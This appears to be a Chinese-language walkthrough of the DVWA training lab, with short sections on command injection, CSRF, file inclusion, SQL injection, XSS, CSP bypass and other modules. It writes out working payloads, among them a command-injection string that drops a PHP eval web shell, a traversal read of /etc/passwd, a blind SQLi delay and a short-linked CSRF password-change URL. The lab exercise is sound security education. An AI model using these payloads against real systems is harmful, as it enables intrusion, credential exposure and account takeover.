DVWA靶场(Damn Vulnerable Web Application)
1.DVWA环境搭建
DVWA包含了OWASP TOP 10的所有攻击漏洞的练习环境,一站式解决所有Web渗透的学习环境。
环境搭建:
DVWA/README.zh.md at master · digininja/DVWA
我使用的是phpstudy自行搭建 当然也有在线靶场可以打
dvwa.bachang.org
phpstudy搭建过程中有个点要注意:
将配置中的config.inc.php.dist重命名为config.inc.php
否则打开网址会显示配置文件缺失
进来后先别着急测试 有一个难度选择的选项 我们从低难度开始
第一个暴力爆破密码很基础 BP抓一下包用intruder模块爆破就行
2.Command Injection命令注入
命令注入
当输入127.0.0.1
会自动搭配ping命令
low/medium:
尝试用管道符绕过
127.0.0.1 | whoami
直接利用命令生成木马
127.0.0.1 & echo ^<?php eval($_POST['cmd']);?^> > shell123.php
使用蚁剑连接成功
high:
审计源码
我们发现其过滤了'| '(管道符后面带有空格)却没有过滤|
直接用不包含空格的|绕过
127.0.0.1 |whoami
3.CSRF跨站请求伪造
什么是CSRF
CSRF,全称Cross-site request forgery,翻译过来就是跨站请求伪造,是指利用受害者尚未失效的身份认证信息(如cookie、会话等),诱骗其点击恶意链接或者访问包含攻击代码的页面,在受害人不知情的情况下以受害者的身份向(身份认证信息所对应的)服务器发送请求,从而完成非法操作(如转账、改密等)。CSRF与XSS最大的区别就在于,CSRF并没有盗取cookie而是直接利用。在2013年发布的新版OWASP Top 10中,CSRF排名第8。
low:
我们修改密码 会出现一个URL
http://moloxuanhe.com/vulnerabilities/csrf/?password_new=123&password_conf=123&Change=Change#
我们将123改为456
然后访问该URL
发现密码被修改成了456
这就是一个CSRF漏洞
不法分子包装该URL 例如使用短链:
https://bit.ly/4nWscmj
这个URL和修改密码的是相同的
然后诱导受害人点击该URL 其密码便会被任意修改
high:
High级别的代码加入了Anti-CSRF token机制,每一个用户请求都会附上一个随机的user_token,当服务器匹配上user_token时,才会执行
http://moloxuanhe.com/vulnerabilities/csrf/index.php?password_new=456&password_conf=456&Change=Change&user_token=604530cebefea9798b470eaf6d550bf4#
每次的user_token都不同,我们无法得知受害者的user_token是什么
因此,要利用CSRF,必须要得到用户的token才行
可以利用其他存储型XSS和CSRF结合
4.File Inclusion文件包含
测试前 先将allow_url_inclue功能打开
我们通过与配合File Upload,能够运行图片马等木马后门
也可以直接读取内部文件
如Linux中
?page=../../../../../etc/passwd
5.File Upload文件上传
6.SQL注入
2不报错 3报错
查看源码 这里的命令 里面单引号 最外层有""
7.SQL盲注
1' or sleep(0.5)#
成功延时
8.Weak Session IDs 脆弱session
发现刷新后 PHPSESSID一直是固定的 正常情况下 该Session应该会自动失效
利用该固定cookie 我们可以随意免密登录
9.DOM型XSS
存在参数 直接拼接
10.反射型XSS
<script>alert(1)</script>
11.存储型XSS
12.Content Security Policy (CSP) Bypass内容安全策略绕过
CSP 指的是内容安全策略,为了缓解很大一部分潜在的跨站脚本(XSS) 问题,浏览器的扩展程序系统引入了内容安全策略(CSP)的一般概念。通过引入一些相当严格的策略使扩展程序在默认情况下更加安全,开发者可以创建并强制应用一些规则,管理网站允许加载的内容。
CSP 以白名单的机制对网站加载或执行的资源起作用,在网页中策略通过 HTTP 头信息或者 meta 元素定义。CSP 虽然提供了强大的安全保护,但是它也令 eval() 及相关函数被禁用、内嵌的 JavaScript 代码将不会执行、只能通过白名单来加载远程脚本。如果要使用 CSP 技术保护自己的网站,开发者就不得不花费大量时间分离内嵌的 JavaScript 代码和做一些调整。
代码审计
源码对 HTTP 头定义了 CSP 标签,从而定义了可以接受外部 JavaScript 资源的白名单,通过抓包也可以知道是哪些网站。
https://pastebin.com
搜索发现pastebin 是个快速分享文本,代码的网址
我们可以打开 pastebin 写个 JavaScript 攻击脚本,再将改文本的 url 注入进去实现攻击
13 javascript attacks
源码显示 在前端生成了token
这个token应该是失效的
既然生成代码在前端 我们使用调试器生成一个
再回来 发现token变了
14.Authorisation Bypass认证绕过
我们切换到普通用户
gordonb / abc123
发现少了一栏 只有管理员能看到的功能页面
虽然看不见了 但是不排除接口关闭了
直接拼接 发现能成功调用
并且仍然有修改权限
15.Open HTTP Redirect 开放URL重定向
查看源码
修改redirect后面的参数
http://moloxuanhe.com/vulnerabilities/open_redirect/source/low.php?redirect=https://www.baidu.com
成功重定向到百度
查看源码 果然没有过滤
16.Cryptography Problems 密码学
这是一个XOR加密
Lg4WGlQZChhSFBYSEB8bBQtPGxdNQSwEHREOAQY=
想了解可以看看这篇文章
web-security/THM-XOR双重破解-Order.py at main · DeclineHR/web-security
简而言之是a b c三者之间相互转化
知道其二 我们便可以利用py脚本快捷转化各种文本